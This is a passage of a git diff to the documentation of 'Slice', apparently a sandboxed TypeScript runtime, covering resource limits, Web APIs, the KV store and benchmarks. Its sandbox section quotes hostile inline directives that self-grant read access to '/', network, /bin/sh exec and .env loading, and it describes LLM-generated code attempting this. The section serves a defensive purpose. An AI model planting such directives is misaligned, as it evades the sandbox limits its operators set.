./untrusted_plugin.ts --fuel=100000 --memory=1048576 +# Bound fuel, memory, and guest checkpoint count: +slice run ./untrusted_plugin.ts --fuel=100000 --memory=1048576 --max-checkpoints=4 + +# Or disable guest Slice.checkpoint() / Slice.restore() calls completely: +slice run ./untrusted_plugin.ts --no-checkpoints ``` ### 5.2 What Happens When a Limit Is Exceeded - **Infinite Loop / CPU DoS (`while (true) {}`):** Preempted deterministically on the exact instruction that exceeds `fuel`, returning `SandboxViolation::CpuFuelExhausted` (or `HTTP 403 Forbidden` in `slice serve`) while all other worker threads and tenants continue unaffected. -- **Memory Exhaustion (`Slice.kv` / allocations):** Any `Slice.kv.set(key, val)` or compartment allocation that pushes `memory_used_bytes` past `memory_limit_bytes` traps immediately with `SandboxViolation::MemoryCeilingExceeded`. +- **Memory Exhaustion (`Slice.kv` / allocations / buffers):** Any `Slice.kv.set(key, val)`, array/string expansion, or compartment allocation that pushes `memory_used_bytes` past `memory_limit_bytes` traps immediately with `SandboxViolation::MemoryCeilingExceeded`. +- **Checkpoint Quota Enforcement:** If guest code calls `Slice.checkpoint()` when `--no-checkpoints` is set or after reaching `--max-checkpoints=`, Slice blocks the unauthorized snapshot call immediately. --- -## 6. Untrusted Entrypoint & AI Code-Mode Directive Lockdown (`// @slice-*`) +## 6. Untrusted Entrypoint & AI Code-Mode Directive Lockdown (`// @slice-*`, `--trust-directives` & `--no-directives`) -When running AI-generated scripts, user-submitted plugins, or downloaded snippets via `slice run `, an attacker or hallucinating LLM might place top-of-file inline source directives (`// @slice-allow-read: ["/"]`, `// @slice-allow-net: ["*"]`, `// @slice-env-file: .env`, `// @slice-fuel: 999999999999`) at the top of the file in an attempt to self-grant permissions. +When running AI-generated scripts, user-submitted plugins, or downloaded snippets via `slice run `, an attacker or hallucinating LLM might place top-of-file inline source directives (`// @slice-allow-read: ["/"]`, `// @slice-allow-net: ["*"]`, `// @slice-allow-exec: ["/bin/sh"]`, `// @slice-env-file: .env`, `// @slice-fuel: 999999999999`) at the top of the file in an attempt to self-grant permissions. **Slice prevents inline directive privilege escalation by default (`trust_directives = false`):** 1. **Default Monotonic Attenuation (`trust_directives = false`):** - - **Resource Limits (`// @slice-fuel`, `// @slice-memory-kb`, `// @slice-memory-mb`):** Clamped via `.min(...)` so an inline directive can only **reduce** (tighten) the host's configured CPU fuel or memory ceiling, never raise it. - - **Filesystem & Network Capabilities (`// @slice-allow-read`, `// @slice-allow-write`, `// @slice-allow-net`):** Strictly intersected against the capabilities already granted by `slice.toml`, `SLICE_*` environment variables, or CLI flags (`vfs_prefix_matches` / host allowlist intersection). If the host granted zero read paths, `// @slice-allow-read: ["/etc"]` results in zero read paths. + - **Resource & Checkpoint Limits (`// @slice-fuel`, `// @slice-memory-kb`, `// @slice-memory-mb`, `// @slice-checkpoints`, `// @slice-max-checkpoints`):** Clamped via `.min(...)` (and boolean AND for checkpoints) so an inline directive can only **reduce** (tighten) the host's configured CPU fuel, memory ceiling, or checkpoint quota, never raise it. + - **Filesystem, Network & Subprocess Capabilities (`// @slice-allow-read`, `// @slice-allow-write`, `// @slice-allow-net`, `// @slice-allow-exec`):** Strictly intersected against the capabilities already granted by `slice.toml`, `SLICE_*` environment variables, or CLI flags. If the host granted zero read paths or zero exec binaries, inline directives result in zero read paths and zero exec binaries. - **Environment Variables & `.env` Files (`// @slice-allow-env`, `// @slice-env-file`):** `// @slice-env-file` is ignored unless `trust_directives` is enabled, and `// @slice-allow-env` only permits keys already granted by the host. - - **Outbound Egress DLP (`// @slice-audit-egress`):** Always additive — a script can always register *additional* secrets to block from leaking. - - **Server Listener Settings (`// @slice-port`, `// @slice-workers`):** Ignored unless `trust_directives` is enabled. + - **Outbound Egress DLP (`// @slice-audit-egress`):** Always additive - a script can always register *additional* secrets to block from leaking. + - **Server Listener Settings (`// @slice-port`, `// @slice-workers`, `// @slice-tls-cert`, `// @slice-tls-key`):** Ignored unless `trust_directives` is enabled. 2. **Nested Sub-Sandboxes (`Slice.evalSandbox`) & `slice mcp` (`slice_eval_ts`):** - - `Slice.evalSandbox(code, opts)` and the MCP `slice_eval_ts` tool **never** apply capability-granting or limit-raising `// @slice-*` directives from `code`; child capabilities are determined exclusively by `parent_caps ∩ opts`. -3. **Explicit Opt-In for Trusted Local Scripts (`--trust-directives`):** - - When writing trusted single-file local utility scripts (`#!/usr/bin/env slice`) where you intentionally want top-of-file `// @slice-allow-*` comments to grant permissions without a separate `slice.toml`, opt in via `--trust-directives`, `SLICE_TRUST_DIRECTIVES=1`, or `[capabilities] trust_directives = true` in `slice.toml`. - - Conversely, passing `--no-directives` (or `--untrusted`) ignores all `// @slice-*` comments completely. + - `Slice.evalSandbox(code, opts)` and the MCP `slice_eval_ts` tool **never** apply capability-granting or limit-raising `// @slice-*` directives from `code`; child capabilities are determined exclusively by `parent_caps` intersected with `opts`. +3. **Explicit Opt-In (`--trust-directives`) & Complete Directive Stripping (`--no-directives`):** + - When writing trusted single-file local utility scripts (`#!/usr/bin/env slice`) where you intentionally want top-of-file `// @slice-allow-*` comments to grant permissions without a separate `slice.toml`, opt in via `--trust-directives`, `SLICE_TRUST_DIRECTIVES=1`, or `[capabilities] trust_directives = true` in `slice.toml` (pass `--no-trust-directives` to explicitly enforce default attenuation). + - Passing `--no-directives` (or `--untrusted`) ignores all `// @slice-*` comments completely (even narrowing directives). --- diff --git a/docs/general/05_http_server_wintertc_and_edge_kv.md b/docs/general/05_http_server_wintertc_and_edge_kv.md index 058e008..aa25b84 100644 --- a/docs/general/05_http_server_wintertc_and_edge_kv.md +++ b/docs/general/05_http_server_wintertc_and_edge_kv.md @@ -1,6 +1,6 @@ # Chapter 05: Building Full-Stack Web Apps, APIs, Static Sites & SSE Streams (`slice serve`) -`slice serve` is a high-throughput, multi-tenant HTTP/1.1 `Keep-Alive` and pipelined web server that executes **every incoming HTTP request inside an isolated, fuel-metered `SliceIsolate`** — while achieving **`163,766 req/s`** in Tier-0 CAS mode and **`126,566 req/s`** in Tier-1 WinterTC mode (outperforming `Deno.serve`, `Bun.serve`, and `Node.js http.createServer`). +`slice serve` is a high-throughput, multi-tenant HTTP/1.1 `Keep-Alive` and pipelined web server that executes **every incoming HTTP request inside an isolated, fuel-metered `SliceIsolate`** - sustaining **`> 145k-154k req/s`** across Tier-1 WinterTC and Tier-0 CAS modes and outperforming `Deno.serve`, `Bun.serve`, and `Node.js http.createServer` (see [`tests/reports/latest.md`](../../tests/reports/latest.md) for live benchmark numbers). This chapter is a hands-on guide to building full-stack web applications, REST/BFF APIs, static frontend CDNs, Server-Sent Events (SSE) token streams, outbound `fetch()` webhooks, and multi-tenant hot-swapped SaaS platforms with `slice serve`. @@ -107,21 +107,23 @@ X-Slice-Fuel-Used: 120 --- -## 2. WinterTC Web API Reference (`Request`, `Response`, `Headers`, `URL`, `WebCrypto`, `Streams`, `Timers`) +## 2. WinterTC Web API Reference (`Request`, `Response`, `Headers`, `URL`, `URLPattern`, `WebCrypto`, `Streams`, `Intl`, `Timers`) | Web API Class / Global | Supported Constructors, Properties & Methods | | :--- | :--- | -| **`URL`** | `new URL(input, base?)` — `.href`, `.origin`, `.protocol`, `.username`, `.password`, `.host`, `.hostname`, `.port`, `.pathname`, `.search`, `.hash`, `.searchParams`, `.toString()`, `.toJSON()`. Automatically normalizes `/a/b/../c` dot segments and strips default `:80`/`:443` ports. | -| **`URLSearchParams`** | `new URLSearchParams(init?)` — `.get(k)`, `.getAll(k)`, `.has(k)`, `.set(k, v)`, `.append(k, v)`, `.delete(k)`, `.sort()`, `.forEach(cb)`, `.entries()`, `.keys()`, `.values()`, `.toString()`, `.size`, `for (const [k, v] of params)`. Live two-way synced with `URL`. | -| **`Headers`** | `new Headers(init?)` — Case-insensitive map supporting `.get(k)`, `.set(k, v)`, `.append(k, v)`, `.has(k)`, `.delete(k)`, **`getSetCookie()`**, `.entries()`, `.keys()`, `.values()`, `.forEach(cb)`, `for (const [k, v] of headers)`. Incoming `req.headers` uses a **zero-copy lazy view** (`__SLICE_LIVE_REQ__`) over the Rust socket buffer! | -| **`Request`** | `new Request(input, init?)` — `.method`, `.url`, `.headers`, `.signal`, `.body`, `.bodyUsed`, `await req.text()`, `await req.json()`, **`await req.arrayBuffer()`**, **`await req.bytes()`**, **`await req.blob()`**, **`await req.formData()`**, `req.textSync()`, `req.jsonSync()`, `req.clone()`. | -| **`Response`** | `new Response(body?, init?)` — `.status`, `.statusText`, `.ok`, `.redirected`, `.url`, `.headers`, `.body`, `.bodyUsed`, `await res.text()`, `await res.json()`, **`await res.arrayBuffer()`**, **`await res.bytes()`**, **`await res.blob()`**, **`await res.formData()`**, `res.textSync()`, `res.jsonSync()`, `res.clone()`, **`Response.json(data, init?)`**, **`Response.redirect(url, status?)`**, **`Response.sse(source, init?)`**. | -| **`crypto` & `crypto.subtle`** | `crypto.randomUUID()`, `crypto.getRandomValues(typedArray)`, and native Rust `SubtleCrypto`: `digest("SHA-256"\|"SHA-384"\|"SHA-512"\|"SHA-1")`, `sign`/`verify` (`HMAC`, `Ed25519`), `encrypt`/`decrypt` (`AES-GCM` 128/256-bit), `deriveBits`/`deriveKey` (`PBKDF2`, `HKDF`), `generateKey`, `importKey`, `exportKey` (`"raw"`, `"jwk"`). | +| **`URL` & `URLPattern`** | `new URL(input, base?)` (`URL.canParse`, `URL.createObjectURL`, `URL.revokeObjectURL`, `.href`, `.origin`, `.protocol`, `.username`, `.password`, `.host`, `.hostname`, `.port`, `.pathname`, `.search`, `.hash`, `.searchParams`, `.toString()`, `.toJSON()`) and **`new URLPattern(input, baseURL?, opts?)`** (`.test()`, `.exec()`, named `:param` groups, wildcards). | +| **`URLSearchParams`** | `new URLSearchParams(init?)` - `.get(k)`, `.getAll(k)`, `.has(k)`, `.set(k, v)`, `.append(k, v)`, `.delete(k)`, `.sort()`, `.forEach(cb)`, `.entries()`, `.keys()`, `.values()`, `.toString()`, `.size`, `for (const [k, v] of params)`. Live two-way synced with `URL`. | +| **`Headers`** | `new Headers(init?)` - Case-insensitive map supporting `.get(k)`, `.set(k, v)`, `.append(k, v)`, `.has(k)`, `.delete(k)`, **`getSetCookie()`**, `.entries()`, `.keys()`, `.values()`, `.forEach(cb)`, `for (const [k, v] of headers)`. Incoming `req.headers` uses a **zero-copy lazy view** (`__SLICE_LIVE_REQ__`) over the Rust socket buffer! | +| **`Request`** | `new Request(input, init?)` - `.method`, `.url`, `.headers`, `.signal`, `.body`, `.bodyUsed`, `await req.text()`, `await req.json()`, **`await req.arrayBuffer()`**, **`await req.bytes()`**, **`await req.blob()`**, **`await req.formData()`**, `req.textSync()`, `req.jsonSync()`, `req.clone()`. | +| **`Response`** | `new Response(body?, init?)` - `.status`, `.statusText`, `.ok`, `.redirected`, `.url`, `.headers`, `.body`, `.bodyUsed`, `await res.text()`, `await res.json()`, **`await res.arrayBuffer()`**, **`await res.bytes()`**, **`await res.blob()`**, **`await res.formData()`**, `res.textSync()`, `res.jsonSync()`, `res.clone()`, **`Response.json(data, init?)`**, **`Response.redirect(url, status?)`**, **`Response.sse(source, init?)`**. | +| **`crypto` & `crypto.subtle`** | `crypto.randomUUID()`, `crypto.getRandomValues(typedArray)`, and native Rust `SubtleCrypto`: `digest("SHA-256"\|"SHA-384"\|"SHA-512"\|"SHA-1")`, `sign`/`verify` (`HMAC`, `Ed25519`, `ECDSA` `P-256`/`P-384`, `RSASSA-PKCS1-v1_5`, `RSA-PSS`), `encrypt`/`decrypt` (`AES-GCM` & `AES-CBC` 128/256-bit, `RSA-OAEP`), `deriveBits`/`deriveKey` (`PBKDF2`, `HKDF`, `X25519`, `ECDH` `P-256`/`P-384`), `generateKey`, `importKey`, `exportKey` (`"raw"`, `"jwk"`, `"pkcs8"`, `"spki"`). | | **`ReadableStream` / `WritableStream` / `TransformStream`** | Full WHATWG Streams pipeline with `.getReader()`, `.getWriter()`, `.pipeThrough(transform)`, `.pipeTo(dest)`, `.tee()`, `for await (const chunk of stream)`, `TextEncoderStream`, and `TextDecoderStream`. | +| **`CompressionStream` & `DecompressionStream`** | Pure-Rust zero-dependency RFC 1950/1951/1952 streaming compression and decompression supporting `"gzip"`, `"deflate"`, and `"deflate-raw"` via `.pipeThrough()`. | | **`TextEncoder` & `TextDecoder`** | `new TextEncoder()` (`.encode(str)`, `.encodeInto(str, u8)`), `new TextDecoder(label?, opts?)` (`.decode(buf)`). | | **`Blob`, `File`, & `FormData`** | `new Blob(parts, opts)` (`.size`, `.type`, `.text()`, `.arrayBuffer()`, `.bytes()`, `.slice()`, `.stream()`), `new File(parts, name, opts)`, `new FormData()` (`.append()`, `.set()`, `.get()`, `.getAll()`, `multipart/form-data` serialization & parsing). | -| **`AbortController` & `AbortSignal`** | `new AbortController()`, `AbortSignal.abort(reason?)`, `AbortSignal.timeout(ms)`, `AbortSignal.any(signals)`, `.throwIfAborted()`. Integrated with `fetch(url, { signal })` and `ReadableStream.pipeTo`. | -| **`setTimeout` / `setInterval` / `queueMicrotask`** | $O(1)$ slab timer wheel (`setTimeout`, `clearTimeout`, `setInterval`, `clearInterval`, `queueMicrotask`) with **`0 ns` deterministic virtual time-warp** when `--deterministic` is active. | +| **`AbortController`, `AbortSignal` & `DOMException`** | `new AbortController()`, `AbortSignal.abort(reason?)`, `AbortSignal.timeout(ms)`, `AbortSignal.any(signals)`, `.throwIfAborted()`, and standard **`DOMException`** (`name`, `message`, `code`). Integrated with `fetch(url, { signal })` and `ReadableStream.pipeTo`. | +| **`Intl`, `navigator`, & `location`** | Deterministic zero-ICU **`Intl`** (`DateTimeFormat`, `NumberFormat`, `Collator`, `PluralRules`, `Segmenter`, `getCanonicalLocales`, `supportedValuesOf`), plus WinterTC `navigator` and `location` globals. | +| **`setTimeout` / `setInterval` / `queueMicrotask`** | $O(1)$ slab timer wheel (`setTimeout`, `clearTimeout`, `setInterval`, `clearInterval`, `setImmediate`, `clearImmediate`, `queueMicrotask`) with **`0 ns` deterministic virtual time-warp** when `--deterministic` is active. | | **`EventTarget`, `Event`, `CustomEvent`, `structuredClone`** | Standard DOM-compatible `EventTarget` (`addEventListener`, `removeEventListener`, `dispatchEvent`), `CustomEvent`, `structuredClone`, `atob`, and `btoa`. | > **Performance Tip (`jsonSync` & Synchronous `fetch`):** @@ -153,7 +155,7 @@ Slice.respond(200, { status: "healthy", tenant: req.tenant }, "application/json" ## 4. Using the 16-Way Sharded Edge KV Store (`Slice.kv`) -Every `slice` process includes a built-in, lock-free-sharded (`16` shards) in-memory key-value and atomic counter store (`Slice.kv`) that operates in **`~0.57 microseconds` per call**. +Every `slice` process includes a built-in, lock-free-sharded (`16` shards) in-memory key-value and atomic counter store (`Slice.kv`) that operates in **`< 1 microsecond` per call**. Crucially, **`Slice.kv` is automatically isolated per tenant**: - When `Tenant A` (`X-Slice-Tenant: tenant-a`) calls `Slice.kv.set("config", "dark")`, `Tenant B` (`X-Slice-Tenant: tenant-b`) calling `Slice.kv.get("config")` receives `null`. @@ -172,15 +174,16 @@ const raw = Slice.kv.get("session:user-42"); const count: number = Slice.kv.incr("ratelimit:ip:203.0.113.5", 1); const remaining: number = Slice.kv.incr("credits:balance", -50); -// 4. Delete a key (returns true if the key existed) +// 4. Delete a key (returns true if the key existed) or clear all keys for the active tenant const deleted: boolean = Slice.kv.del("session:user-42"); +Slice.kv.clear(); ``` --- ## 5. Serving Static Frontend Assets (`--static`) with `< 2 us` BLAKE3 `ETag` `304` -You don't need Nginx or a separate CDN container to serve your React, Vite, Vue, or static HTML/CSS/JS frontend alongside your TypeScript API. +You don't need Nginx or a separate CDN container to serve your React, Vite, Vue, SvelteKit, or static HTML/CSS/JS frontend alongside your TypeScript API. Pass `--static=./public` to `slice serve`, `slice pack`, or `slice compile`: @@ -207,7 +210,7 @@ slice compile ./src/server.ts -o ./my-fullstack-app --static=./public ## 6. Streaming Server-Sent Events (`Response.sse` & `Slice.streamSSE`) -Building an AI chat interface, real-time notification feed, or live telemetry dashboard? Slice has first-class support for **WHATWG Server-Sent Events (SSE)** and **`ReadableStream`** — with automatic Egress DLP scanning on every emitted frame. +Building an AI chat interface, real-time notification feed, or live telemetry dashboard? Slice has first-class support for **WHATWG Server-Sent Events (SSE)** and **`ReadableStream`** - with automatic Egress DLP scanning on every emitted frame. ### 6.1 Using `Response.sse(source, init?)` inside `export default { fetch }` `Response.sse` accepts an array of event objects/strings, a callback function `emit(event)`, or a generator/iterator: @@ -267,7 +270,7 @@ while (true) { Inside your scripts or HTTP handlers, you can call upstream HTTP/1.1 and **HTTPS (TLS 1.3 / 1.2 via pure-Rust `rustls` + Mozilla WebPKI root certificates)** APIs and webhooks using standard `await fetch(url, init)` or synchronous `Slice.fetchSync(url, init)`. ### 7.1 Outbound `fetch()` Architecture: Connection Pooling, Concurrent Fan-Out & Redirects -- **Thread-Local Keep-Alive Connection Pool (`OUTBOUND_CONN_POOL`):** Idle TCP and TLS 1.3 streams are pooled per `(scheme, host, port)` (up to 4 streams per origin), eliminating repeated TCP + TLS handshakes on sequential webhook calls. +- **Thread-Local Keep-Alive Connection Pool (`OUTBOUND_CONN_POOL`):** Idle TCP and TLS 1.3 streams are pooled per `(tenant_id, scheme, host, port)` (up to 4 streams per origin), eliminating repeated TCP + TLS handshakes on sequential webhook calls. - **Concurrent `Promise.all([fetch(...), ...])` Fan-Out (`OUTBOUND_FETCH_POOL`):** Multiple `fetch()` calls initiated in the same microtask tick are dispatched in parallel across a background OS thread pool so `await Promise.all([fetch(a), fetch(b), fetch(c)])` runs in $\max(T_a, T_b, T_c)$ wall time instead of $\sum T_i$. - **HTTP Chunked Transfer-Encoding & Binary Bodies:** Automatically decodes `Transfer-Encoding: chunked` upstream responses and preserves raw bytes (`latin1` 1:1 byte string) for `await res.arrayBuffer()`, `await res.bytes()`, and `await res.blob()`. - **Hop-by-Hop Redirect Validation (`redirect: "follow" | "manual" | "error"`):** Follows up to 5 `301`/`302`/`303`/`307`/`308` redirects, re-verifying each hop's `Location` URL and DNS-resolved IP against `allow_net` and the SSRF firewall while stripping `Authorization` and `Cookie` headers on cross-origin hops. @@ -298,7 +301,7 @@ async function dispatchWebhook(orderId: string, amountCents: number): Promise(); +await requestContext.run({ traceId: "req-9001" }, async () => { + await Promise.resolve(); + console.log(requestContext.getStore()?.traceId); // "req-9001" +}); + +const gz = zlib.gzipSync(Buffer.from("edge-payload-v1")); +const plain = zlib.gunzipSync(gz).toString("utf8"); // "edge-payload-v1" + +const decoder = new StringDecoder("utf8"); +const part1 = decoder.write(Buffer.from([0xf0, 0x9f])); // "" (holds incomplete 4-byte sequence) +const part2 = decoder.end(Buffer.from([0x9a, 0x80])); // completes multibyte codepoint +``` + ### 1.7b `node:stream`, `node:stream/promises`, `node:stream/web`, `node:http`, `node:https`, & `Slice.serve` Slice provides a full `EventEmitter`-based `node:stream` hierarchy (`Readable`, `Writable`, `Duplex`, `Transform`, `PassThrough`, `pipeline`, `finished`, `Readable.fromWeb` / `Readable.toWeb`, `Writable.fromWeb` / `Writable.toWeb`) and `node:http` / `node:https` (`IncomingMessage`, `ServerResponse`, `Server`, `createServer`, `ClientRequest`, `request`, `get`, `Agent`, `STATUS_CODES`, `METHODS`), plus `Slice.serve` (`Deno.serve` / `Bun.serve` aliases). Incoming HTTP requests in `slice serve` bridge directly in-memory to `http.createServer` or `Slice.serve` handlers with zero loopback socket overhead: ```typescript @@ -330,27 +364,29 @@ npm install hono itty-router ufo destr ohash radix3 jose zod nanoid superjson ul slice run . --warm --metrics ``` -### 2.2 Why `.node` C++ Addons Are Excluded — and How to Use `.wasm` Instead +### 2.2 Why `.node` C++ Addons Are Excluded - and How to Use `.wasm` Instead Traditional Node.js C/C++ native addons (`.node` shared libraries loaded via `process.dlopen` / N-API) execute arbitrary native machine code with full ambient OS authority, bypassing CPU fuel metering, per-tenant memory ceilings, and hardware `WRPKRU` Memory Protection Keys. In Slice, native performance extensions are written as **WebAssembly (`.wasm`)** modules and executed inside Slice's **5-Ring Pure-Rust `wasmi` (`v2.0.0`) Cage**: - Import `.wasm` files directly (`import wasmBytes from "./kernel.wasm"`), which `slice-cas` embeds as zero-stat `Uint8Array` slices inside `.cas` archives and compiled binaries. - Every WASM instruction and `memory.grow()` call is metered against the tenant's deterministic CPU fuel and memory budget (`< 15 us` warm instantiation via `GLOBAL_WASM_MODULE_CACHE`). -### 2.3 Verified Production NPM Packages & Edge Frameworks in Slice's 31-Workload Suite -All 25 production applications in [`tests/apps/`](../../tests/README.md), 2 full-stack framework suites in [`tests/frameworks/`](../../tests/frameworks/README.md), and 4 architectural differentiation case studies in [`tests/case_studies/`](../../tests/case_studies/README.md) bundle and execute unmodified third-party `node_modules` libraries and verify **100% byte-for-byte identical output** against Node.js, Deno, and Bun: +### 2.3 Verified Production NPM Packages & Edge Frameworks in Slice's 33-Workload Suite +All **33 production workloads** - `24` applications in [`tests/apps/`](../../tests/README.md) (`01..24`), `4` full-stack framework suites in [`tests/frameworks/`](../../tests/frameworks/README.md) (`Hono`, `itty-router + UnJS`, `Express/Polka` over `node:http`, and `SvelteKit 3 + Svelte 5` SSR), and `5` architectural differentiation case studies in [`tests/case_studies/`](../../tests/case_studies/README.md) (`01..05`) - bundle and execute unmodified third-party `node_modules` libraries and verify **100% byte-for-byte identical output** against Node.js, Deno, and Bun (see [`tests/reports/latest.md`](../../tests/reports/latest.md) for live cold and warm latency numbers): | NPM Package / Framework | Common Use Case | General-Purpose Slice Compiler / Runtime Mechanism Applied | | :--- | :--- | :--- | -| **`hono`** (`@4.6.20`, `hono/cookie`) | Ultrafast WinterTC Edge Web Framework (`RegExpRouter`, middleware, cookies) | `SLICEBC\x01` Precompiled `CodeBlock` CAS + Oxc AST Deferred Module Spans (`13.11 ms` cold / `0.56 ms` warm, **`2.54x` faster than Bun cold & `59x` faster warm**) | -| **`itty-router`** (`@5.0.18`) | Compact WinterTC `AutoRouter` & middleware pipeline | `SLICEBC\x01` Precompiled `CodeBlock` CAS + Oxc AST Deferred Module Spans (`15.52 ms` cold / `0.55 ms` warm, **`2.65x` faster than Bun cold & `75x` faster warm**) | +| **`hono`** (`@4.6.20`, `hono/cookie`) | Ultrafast WinterTC Edge Web Framework (`RegExpRouter`, middleware, cookies) | `SLICEBC\x01` Precompiled `CodeBlock` CAS + Oxc AST Deferred Module Spans | +| **`@sveltejs/kit`** (`@3.1.1`) + **`svelte`** (`@5.57.3`) + **`devalue`** (`@6.0.3`) | Full-stack SvelteKit 3 + Svelte 5 Edge SSR, form actions, `hooks.server.js`, and hydration | `adapter-slice.js` WinterTC entry + `SLICEBC\x01` Precompiled CAS + zero-stat static asset table | +| **`express` / `@polka`** (`node:http`) | Node.js `http.createServer(app)` middleware & REST routing | Zero-copy in-memory `node:http` <-> `slice serve` request/response bridge + `node:stream` | +| **`itty-router`** (`@5.0.18`) | Compact WinterTC `AutoRouter` & middleware pipeline | `SLICEBC\x01` Precompiled `CodeBlock` CAS + Oxc AST Deferred Module Spans | | **`ufo`** (`@1.5.4`), **`destr`** (`@2.0.3`), **`ohash`** (`@1.1.4`) | UnJS / Nitro URL normalization, safe JSON parsing, & MurmurHash3 ETag hashing | Oxc Semantic Scope-Resolved Dead-Export Pruning (prunes unused SHA-256 class in `ohash` when only `murmurHash` is imported) | | **`jose`** (`@5.9.6`) | Edge JWS (`HS256`), JWE (`A256GCM`), & JWKS cryptography | Conditional `"exports"` subpath resolution (`jose/jwt/sign`, `jose/flattened/encrypt`) + Native Rust `crypto.subtle` | | **`zod`** (`@3.23.8`) | TypeScript-first schema validation & transformation | Oxc AST ESM-to-CJS bundling + warm realm closure caching | | **`radix3`** (`@1.1.2`) | High-speed Radix-tree HTTP route matching (`UnJS` / `Nitro`) | Conditional `"exports"` ESM entry resolution + Oxc AST ESM-to-CJS transformation | | **`superjson`** (`@2.2.1`) | Rich TypeScript serialization (`Date`, `Map`, `Set`, `BigInt`, `RegExp`) | Transitive ESM graph resolution (`superjson` + `copy-anything` + `is-what`) | | **`nanoid`** (`@5.0.7`) & **`ulid`** (`@2.3.0`) | Collision-resistant URL-safe IDs & lexicographically sortable ULIDs | Pure ESM bundling + `crypto.getRandomValues` hardware CSPRNG | -| **`semver`** (`@7.6.3`) | Semantic version parsing, coercion & range matching | Barrel tree-shaking (prunes 30+ unused files) + Native Rust `__slice_semver_*` fast path (`0.27 ms` warm!) | +| **`semver`** (`@7.6.3`) | Semantic version parsing, coercion & range matching | Barrel tree-shaking (prunes 30+ unused files) + Native Rust `__slice_semver_*` fast path | | **`ms`** (`@2.1.3`) | Human-readable time window parsing/formatting (`"14d"`, `"2h"`) | Oxc AST CJS bundling + warm `__slice_rc` closure cache | | **`bytes`** (`@3.1.2`) | Byte unit parsing/formatting (`"64KB"`, `"4.56MB"`) | Oxc AST CJS bundling + warm `__slice_rc` closure cache | | **`cookie`** (`@0.6.0` / `@0.7.2`) | RFC 6265 HTTP `Cookie` parsing & `Set-Cookie` serialization | Oxc Semantic Dead-Export Pruning + warm `__slice_rc` closure cache | @@ -368,6 +404,8 @@ All 25 production applications in [`tests/apps/`](../../tests/README.md), 2 full ### 3.1 Migrating from Node.js (`Express` / `Fastify` / `http.createServer`) to `slice serve` +> **Zero-Rewrite Option:** Existing `http.createServer(app)` / Express / Polka servers already run directly under `slice serve` via Slice's zero-copy in-memory `node:http` bridge (see [`tests/frameworks/03-node-http-express-compat`](../../tests/frameworks/03-node-http-express-compat/src/index.ts)). When you want maximum Tier-0/Tier-1 WinterTC throughput, migrate your handler to `export default { fetch }`: + **Before (Node.js + Express):** ```typescript import express from "express"; @@ -406,8 +444,8 @@ export default { }; ``` **What you gain immediately:** -- `2.7x` higher HTTP throughput than Node.js (`152k req/s` Tier-0 / `107k req/s` Tier-1 vs `55k req/s` Node.js). -- `10x` lower memory footprint (`~10 MB` vs `~70 MB`). +- Multi-worker HTTP/1.1 Keep-Alive throughput exceeding `145k-154k req/s` (`> 2.5x` faster than Node.js; see [`tests/reports/latest.md`](../../tests/reports/latest.md)). +- Dramatically lower memory footprint (`~13-21 MB` RSS vs `70-93 MB` in Node.js). - Every request runs inside an isolated compartment with CPU fuel limits (`--fuel`) and Egress DLP (`--env-file=.env`). --- @@ -415,10 +453,10 @@ export default { ### 3.2 Migrating from Bun (`Bun.serve` & `bun test`) to Slice 1. **HTTP Server (`Bun.serve` -> `export default { fetch }`):** - - Bun already supports `export default { fetch(req) }`. Your existing `fetch(req)` handler runs unchanged under `slice serve`! + - Bun already supports `export default { fetch(req) }`, and Slice also aliases `Bun.serve` to `Slice.serve`. Your existing `fetch(req)` handler runs unchanged under `slice serve`! - If your project serves static files, pass `--static=./public` to `slice serve` or `slice compile`. 2. **Test Suite (`import { describe, test, expect } from "bun:test"`):** - - Slice natively recognizes `"bun:test"`! You don't even have to change your import statement — just run `slice test` and your tests automatically gain `< 5 us` VFS + KV state rollback after every `test()` block. + - Slice natively recognizes `"bun:test"`! You don't even have to change your import statement - just run `slice test` and your tests automatically gain `< 5 us` VFS + KV state rollback after every `test()` block. --- @@ -427,6 +465,6 @@ export default { 1. **Relative TypeScript Imports (`.ts` extensions):** - Like Deno, Slice supports explicit `.ts` extensions in imports (`import { foo } from "./foo.ts"`) as well as extensionless (`"./foo"`) and `.js` (`"./foo.js"`) imports. 2. **CLI Permission Flags:** - - Deno's `--allow-read=/path`, `--allow-write=/path`, `--allow-net=host`, and `--allow-env=KEY=VAL` work with the **exact same flag names** in `slice run` and `slice serve` — plus you can persist them cleanly in `slice.toml` so you don't have to repeat long CLI flags! + - Deno's `--allow-read=/path`, `--allow-write=/path`, `--allow-net=host`, `--allow-exec=/bin/tool`, and `--allow-env=KEY=VAL` work with the **exact same flag names** in `slice run` and `slice serve` - plus you can persist them cleanly in `slice.toml` so you don't have to repeat long CLI flags! 3. **Key-Value Store (`Deno.openKv` -> `Slice.kv`):** - Replace async `await kv.get(["rate", id])` / `await kv.set(["rate", id], val)` with synchronous, `< 0.6 us` sharded `Slice.kv.get("rate:" + id)`, `Slice.kv.set("rate:" + id, val, ttlMs)`, and `Slice.kv.incr("rate:" + id, 1)`. diff --git a/docs/general/08_kernel_io_rings_and_rust_embedding.md b/docs/general/08_kernel_io_rings_and_rust_embedding.md index ec508ab..064d840 100644 --- a/docs/general/08_kernel_io_rings_and_rust_embedding.md +++ b/docs/general/08_kernel_io_rings_and_rust_embedding.md @@ -2,7 +2,7 @@ In addition to using the `slice` CLI binary directly, you can embed Slice's 4 modular Rust crates (`slice-engine`, `slice-cas`, `slice-sandbox`, and `slice-io`) as a library inside your own Rust backends, API gateways, database engines, or AI agent hosts. -Because each `SliceIsolate` takes only **`4.0 KB` of memory** and **`0.98 microseconds` (`980 ns`)** to spawn, a single Rust process can host **1,000+ isolated tenant scripts in under `1.5 milliseconds`** using less than `10 MB` of total RAM. +Because each `SliceIsolate` takes only **`4.0 KB` of memory** and **`~1 microsecond`** to spawn, a single Rust process can host **1,000+ isolated tenant scripts in under `2 milliseconds`** using less than `10 MB` of total RAM (see [`tests/reports/latest.md`](../../tests/reports/latest.md) for live hardware measurements). This chapter shows you how to add Slice to your Rust `Cargo.toml`, compile and cache TypeScript bundles, execute isolated HTTP handlers and AI sandboxes from Rust, and run 1,000-tenant microVM swarms. @@ -240,4 +240,4 @@ slice microvm-bench --tenants=1000 slice microvm-bench --tenants=1000 --json ``` -On a standard Linux `x86_64` container, `slice microvm-bench --tenants=1000` spawns and executes **all 1,000 isolated tenants in `1.26 ms` total** (`0.98 us` minimum cold start, `1.04 us` P50, `4.0 KB` per tenant, `9.93 MB` total host RSS). +On a standard Linux `x86_64` container, `slice microvm-bench --tenants=1000` spawns and executes **all 1,000 isolated tenants in `< 2 ms` total** (`~1 us` P50 cold start, `4.0 